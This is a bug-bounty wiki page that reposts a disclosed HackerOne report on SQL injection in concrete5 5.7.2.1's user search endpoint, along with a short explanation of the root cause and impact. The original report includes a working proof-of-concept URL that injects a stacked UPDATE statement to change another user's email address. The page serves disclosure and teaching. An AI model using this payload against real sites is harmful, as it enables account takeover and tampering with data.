Skip to content
SQL injection Disclosed report Intermediate

SQL injection in conc/index.php/ccm/system/search/users/submit

An authenticated administrator could inject SQL through the ccm_order_by parameter, allowing modification of another user's email address. The attacker could potentially perform other database actions.

yujitounai Follow

Originally disclosed on HackerOne

  • Triaged in 16 hours
  • Fixed in 2 days
  • Disclosed after 17 months

Hello. I found SQL injection in conc/index.php/ccm/system/search/users/submit

PoC is below

When User login as Administrator the user open this link

http://172.20.0.49/conc/index.php/ccm/system/search/users/submit?&ccm_order_by=u.uEmail&ccm_order_by_direction=desc;UPDATE%20%60conc501%60.%60Users%60%20SET%20%60uEmail%60%20=%20%27user@evilhost%27%20WHERE%20%60users%60.%60uID%60%20=%202;--

and update user's email address. and I think I can do various things ;)

I tested to work concrete5 5.7.2.1 on Apache(using ammps) Windows8

Attachments

__________2014-12-09_15.37.48.png
__________2014-12-09_15.37.48.png From the original on HackerOne

The original report as published on HackerOne, by yujitounai. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the application directly concatenates the ccm_order_by parameter into an SQL query without sanitisation or parameterisation.

Impact

An authenticated administrator could modify other users' email addresses and potentially perform further database operations.

What the attacker needed

Administrator login

How it was found

  1. Log in as an administrator.
  2. Open the crafted URL containing the SQL injection payload in the ccm_order_by parameter.
  3. The database executes the injected UPDATE statement, changing the target user's email address.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

SQL injection is when user input is inserted into a database command without proper handling, letting an attacker change the command. Here, a logged-in admin could alter the email of another user by manipulating a URL parameter.

What is SQL injection?

Input reaches a database query as code, letting an attacker read or change data the application never meant to expose.

More by yujitounai

View all

3 more disclosed reports, best first.

More from Concrete CMS

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

SQL injection

The lesson behind this report.

Input reaches a database query as code, letting an attacker read or change data the application never meant to expose.